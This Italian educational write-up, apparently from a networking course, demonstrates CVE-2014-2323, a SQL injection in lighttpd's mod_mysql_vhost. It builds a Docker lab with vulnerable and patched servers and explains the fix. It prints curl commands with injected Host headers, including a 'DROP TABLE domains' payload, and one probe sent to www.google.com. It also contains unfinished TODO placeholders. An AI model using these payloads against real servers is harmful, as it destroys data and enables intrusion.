
Dimostrazione educativa dello sfruttamento dell'iniezione SQL CVE-2014-2323 in mod_mysql_vhost di lighttpd, con laboratorio basato su Docker per l'analisi pratica della vulnerabilità e l'applicazione delle patch.
title: Ep4 - Vulnerabilità relativa alle reti members:
Vulnerabilità correlata:
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.
Conferma: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
Il servizio da esplorare è Lighttpd. È un webserver open source (licenza BSD) ottimizzato per essere leggero e veloce. Nacque come 'proof-of-concept' del famoso problema c10k (come gestire 10.000 connessioni simultanee su un server), guadagnando quindi molta popolarità all'epoca (2003), ed è attualmente utilizzato da Whatsapp.com, Xkcd e, in passato, Youtube. Il suo posizionamento sul mercato è piuttosto interessante, come possiamo verificare nel grafico:

Il server cerca di gestire il problema delle molte connessioni tramite l'uso di meccanismi asincroni basati su eventi (kqueue su BSD, epoll su Linux), riducendo la necessità di più thread, risultando quindi in un'impronta di memoria molto più ridotta e un migliore utilizzo della CPU (strategia utilizzata anche dai server Nginx, il cui uso è aumentato significativamente nel corso degli anni):

Una delle funzionalità di lighty è la facile gestione dei virtual host.
Si tratta di un metodo utilizzato per ospitare più di un nome di dominio la cui risoluzione avviene su un unico IP, riducendo i costi di hosting per le aziende che cercano di offrire siti web, poiché non è necessario riservare un server dedicato per ogni sito web.
La tecnica può essere basata su IP (un'interfaccia per ogni host) o basata sul nome (un nome per ogni host, condividendo l'interfaccia) - esplorata in questa presentazione.
Basato sul nome
: utilizza l'Hostname fornito dal client per identificare quale servizio usare per rispondere di conseguenza. Tale metodo presenta due difficoltà: complicazioni nel gestire sessioni sicure (TLS) - l'handshake deve avvenire prima di qualsiasi passaggio di intestazione che indichi l'Host al server, complicando quindi la determinazione di quale certificato presentare durante l'handshake. Una soluzione a questo problema è un'estensione al TLS chiamata Server Name Indication (SNI) che consente di presentare il nome all'inizio dell'handshake, permettendo quindi la scelta del certificato corretto. Un secondo problema riguarda il tentativo di connessione senza un'intestazione Host ben definita, che comporta l'indeterminazione del servizio da utilizzare.
Basato su IP
: utilizza IP separati per ogni applicazione. Il webserver viene quindi configurato per più interfacce di rete fisiche (o virtuali sulla stessa interfaccia) e risponde in modo corrispondente in base all'indirizzo IP (di destinazione).
IP aliasing consente di creare interfacce virtuali per ogni servizio.
Nel caso di una grande azienda, amministrare tale mappatura può diventare complesso a seconda del numero di clienti. Lighty offre quindi supporto all'uso di un database per questa finalità, come mostreremo in seguito.
Prima, vediamo come fare "a mano" la configurazione di un server e poi aggiungere il vhosting.
Preparare un server di base lighttpd è molto facile. Basta eseguire l'installazione e creare un file di configurazione che imposti la porta da usare, come rispondere a determinate richieste e altre configurazioni.
Possiamo preparare un esempio di configurazione che gestisce solo la ricezione di richieste di file statici (.html o .txt):
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
Immaginate ora di voler creare un'attività basata sulla vendita di siti web e di offrire un dominio proprio all'acquirente. Per minimizzare i costi, vogliamo quindi creare vhosts per ogni cliente. Diciamo che il corso della disciplina di reti desidera acquisire tre siti web: redes.io, mac0448.io e mac5910.io. La nostra azienda registra quindi i domini, tutti puntanti all'IP del nostro unico server, con una sola interfaccia.
ps: poiché vogliamo simulare questo, possiamo modificare il file /etc/hosts:
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io
Per essere in grado di servire i diversi siti web dei clienti risolvendo da un singolo IP, possiamo quindi configurare il server a mano:
server.document-root = "/usr/lighttpd/default/"
server.port = 80
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain"
)
$HTTP["host"] == "redes.io" {
server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
server.document-root = "/usr/lighttpd/mac5910/"
}
Ma, come possiamo immaginare, questo può diventare un problema man mano che vogliamo gestire molti clienti e fornire configurazioni diverse per ogni sito web, come citato in precedenza.
Con il modulo mod_mysql_vhost possiamo quindi collegare il nostro server a un database mysql responsabile di tale mappatura. Specifichiamo quindi il nome del database, come trovarlo nella nostra rete e quale comando usare per effettuare la ricerca.
server.modules = (
"mod_accesslog",
"mod_mysql_vhost"
)
mysql-vhost.db = "NOME_DO_BANCO"
mysql-vhost.user = "USUARIO"
mysql-vhost.pass = "SENHA"
(!!!!!!!!!!!!!!!)
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)
mysql-vhost.hostname = "HOSTNAME"
mysql-vhost.port = "PORTA"
SQL è un linguaggio dichiarativo per amministrare database relazionali, essendo utilizzato (...) ecc.
TODO
TODO
I problemi sorgono quindi dal fatto che i sistemi di gestione dei database che utilizzano SQL presuppongono che i comandi inseriti siano comandi noti all'amministratore e da lui ben gestiti. Tale presupposto non è sempre vero, poiché i sistemi che interagiscono con il sistema di database possono presentare falle, soprattutto sul web, dove l'interazione con l'utente è elevata.
Il problema con i comandi SQL compare quando si passa all'intenzione di costruire i comandi usando testi originati dall'utente, sia un nome utente, una password o qualsiasi altro contenuto dinamico.
(TODO)
Come risolvere? Escaping.
Nella nostra configurazione, ad esempio, abbiamo un'enorme falla:
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='?';"
poiché possibilmente (ed è quello che accadeva fino alla versione 1.4.34) il ? può essere sostituito da qualsiasi comando ed eseguito quindi da MySQL.
Simuliamo quindi questo in una rete con 3 container: 1 server mysql e due server lighttpd, uno vulnerabile e uno corretto.
Docker fornisce un livello di astrazione sopra il sistema operativo che consente la virtualizzazione senza la necessità di un altro SO tramite l'uso di meccanismi di isolamento forniti dal kernel, come cgroups (isolare l'uso di CPU, I/O, memoria e rete di un insieme di processi) e namespaces, rimuovendo quindi tutto l'overhead di avviare e mantenere una macchina virtuale. C'è, in questo modo, una grande ottimizzazione riguardante l'allocazione delle risorse (es., 100 macchine virtuali con immagini da 1GB ==> 100GB. 100 container di un'immagine da 1GB ==> ~1GB.) e la condivisione dell'elaborazione, così come del kernel e del sistema operativo stesso. I file comuni ai container possono anche essere condivisi tramite un file system a strati.

Un'analogia interessante per i namespaces è il chroot, che consente a un processo di vedere una directory come la root dell'intero suo file system, alterando la sua prospettiva del sistema (senza alterare il resto del sistema). Con i namespaces possiamo creare questa prospettiva differenziata per diversi altri aspetti del SO, come l'albero dei processi, le interfacce di rete, il FS, IPC e altri.
(vedi altro: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)
Si deve tener conto che eventualmente l'utente non desideri tale condivisione e poco isolamento.
Al momento del boot del daemon di Docker viene configurata un'interfaccia virtuale chiamata docker0 sull'host, selezionando una subnet non utilizzata dall'host e assegnando quindi un IP libero all'interfaccia virtuale. Ricordiamo che uno dei tre range potrebbe essere utilizzato:
The Internet Assigned Numbers Authority (IANA) has reserved the
following three blocks of the IP address space for private internets:
10.0.0.0 - 10.255.255.255 (10/8 prefix)
172.16.0.0 - 172.31.255.255 (172.16/12 prefix)
192.168.0.0 - 192.168.255.255 (192.168/16 prefix)
Sulla mia macchina, ad esempio:
docker0 Link encap:Ethernet HWaddr 02:42:58:ca:78:6d
inet addr:172.17.0.1 Bcast:0.0.0.0 Mask:255.255.0.0
inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4196391 (4.1 MB) TX bytes:380442767 (380.4 MB)
Per ogni container istanziato con configurazioni di rete predefinite, il daemon provvede quindi a configurare un'interfaccia (nell'esempio sotto, verth5998947 per il container 1, ad esempio) sull'host (parte della subnet di docker0) e un'altra interfaccia nel container (eth0), oltre a modificare la configurazione di iptables (permette all'amministratore di definire tabelle di catene di regole per il trattamento dei pacchetti sull'host) e il NAT affinché il traffico esterno venga inoltrato ai container.

La dimostrazione dipende da un ambiente con docker correttamente configurato su una macchina Linux. Fatto ciò, l'immagine deve essere creata:
$ ./scripts/create-lighty-image.sh
Il comando sopra creerà quindi un'immagine basata sul file Dockerfile, contenente i codici sorgente di entrambe le versioni di lighttpd: quella vulnerabile e quella con la falla corretta.
Fatto ciò, possiamo quindi istanziare i container che rappresenteranno le istanze di elaborazione che fanno parte della demo e il database, anch'esso isolato come container:
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched
Come risultato abbiamo:
lighty-mysqlserver.lighty-vulnerable.lighty-patched.
Per ottenere gli IP dei container, basta eseguire il comando:
$ ./scripts/getips.sh
Docker container ip Addresses:
- lighty-vulnerable: 172.17.0.3
- lighty-patched: 172.17.0.4
- lighty-mysqlserver: 172.17.0.2
Le 'presunte macchine' sono pronte, resta quindi solo configurare il DNS affinché la risoluzione degli indirizzi venga effettuata correttamente. A questo punto potremmo creare un altro container, dedicato alla risoluzione delle richieste DNS tramite un server BIND, ma per velocizzare possiamo semplicemente modificare /etc/hosts:
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io
Dobbiamo ora fare in modo che il server lighttpd sia in grado di svolgere il compito di virtual hosting usando il server mysql. Per fare ciò dobbiamo inserire le voci nel database in modo che i nostri server possano gestire il compito in base al DB (utilizzando gli script sopra non c'è bisogno di eseguire la procedura sotto - lo script inizializza già la tabella):
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| lighttpd |
| mysql |
| performance_schema |
| sys |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
-> domain varchar(64) not null primary key,
-> docroot varchar(128) not null
-> );
Query OK, 0 rows affected (0.04 sec)
mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');
mysql> SELECT * FROM domains;
+------------+------------------------+
| domain | docroot |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io | /usr/lighttpd/redes/ |
+------------+------------------------+
Da questo momento i server sono in grado di effettuare il virtual hosting basato sul database.
L'attacco consiste nello sfruttare una falla nella fase di parsing dell'intestazione Host inviata nelle richieste HTTP con Host di tipo IPv6. Il metodo responsabile del parsing permette che, oltre all'host, vengano letti e interpretati come tali altri caratteri. Il problema è che, come mostrato in precedenza, nel comando di ricerca di un host virtuale una stringa host viene inserita ciecamente (senza effettuare escaping) nel comando SQL:
mysql-vhost.sql = "SELECT docroot FROM domains WHERE domain='QUALQUER_COISA_QUE_VENHA_NO_HOST';"
Una richiesta ben intenzionata presenta quindi il seguente flusso di pacchetti quando "annusiamo" l'interfaccia predefinita docker0, attraverso cui fluiscono tutti i pacchetti tra i container:

Analizziamo quindi ogni componente del flusso:
Richiesta HTTP ben formata

Richiesta MySQL ben formata

Risposta MySQL

Risposta HTTP

Possiamo quindi sfruttare tale vulnerabilità.
Utilizzando il curl possiamo forgiare richieste mal intenzionate come descritto nella conferma della CVE.
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

Possiamo rilevare chiaramente che c'è una vulnerabilità da sfruttare, poiché non dovrebbe verificarsi un errore interno del server. Testando lo stesso script per il server di Google:
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com
<html><title>Error 400 (Bad Request)!!1</title></html>%
Confermiamo che possiamo sfruttare il database analizzando la richiesta fatta al database:
Richiesta MySQL malformata

Risposta MySQL

Possiamo quindi procedere con comandi distruttivi!
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
Richiesta HTTP malevola

Richiesta MySQL malevola

Risposta MySQL

E la tabella è sparita! Di conseguenza il server non sarà in grado di risolvere host virtuali oltre a quello configurato come predefinito.
Poiché il nostro database ha perso la tabella di virtual hosting, dobbiamo recuperarla. Per fare ciò basta eseguire, all'interno del container, il processo di creazione della tabella e inserimento dei valori:
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"
Possiamo verificare che la patch risolva il problema provando a eseguire nuovamente l'attacco (ora al server corretto):
$ ./scripts/exploit4
curl --header "Host: []'; DROP TABLE domains;--'" redes.io
Eseguiamo quindi la richiesta HTTP malevola:
Richiesta HTTP malevola al server corretto

Ma vediamo il flusso di pacchetti nella rete:
Flusso di pacchetti

Come possiamo vedere, trattandosi di un pacchetto malevolo, il server restituisce subito un errore di richiesta malformata e non effettua alcuna richiesta al database.
La vulnerabilità si manifesta in due parti del codice: nel modulo mod_mysql_vhost (che dovrebbe, in ultima istanza, non interpretare ciò che è stato passato in quella parte della query come un comando valido) e nella gestione delle richieste request.c.
mod_mysql_vhost.cNel modulo la soluzione del problema è semplice: basta includere la routine di escape fornita da MySQL e, se eventualmente viene inserito qualche comando malevolo, non accadrà nulla al server (poiché MySQL indicherà l'errore).

request.cNel codice di richiesta c'è la gestione per il caso in cui, dopo l'indirizzo IPv6, la stringa non termini (cioè non presenti \0). Fino ad allora il server era in grado di identificare correttamente se l'hostname è valido secondo la grammatica (accettando anche i casi in cui si passa una porta insieme all'indirizzo), ma quando la porta non veniva passata (terminava l'IPv6 valido) non rimuoveva il resto della stringa dopo la chiusura delle parentesi quadre (che indica la fine di un indirizzo).
In questo modo:

si verifica quindi il caso.
Commit:
- patched: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
- non-patched: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f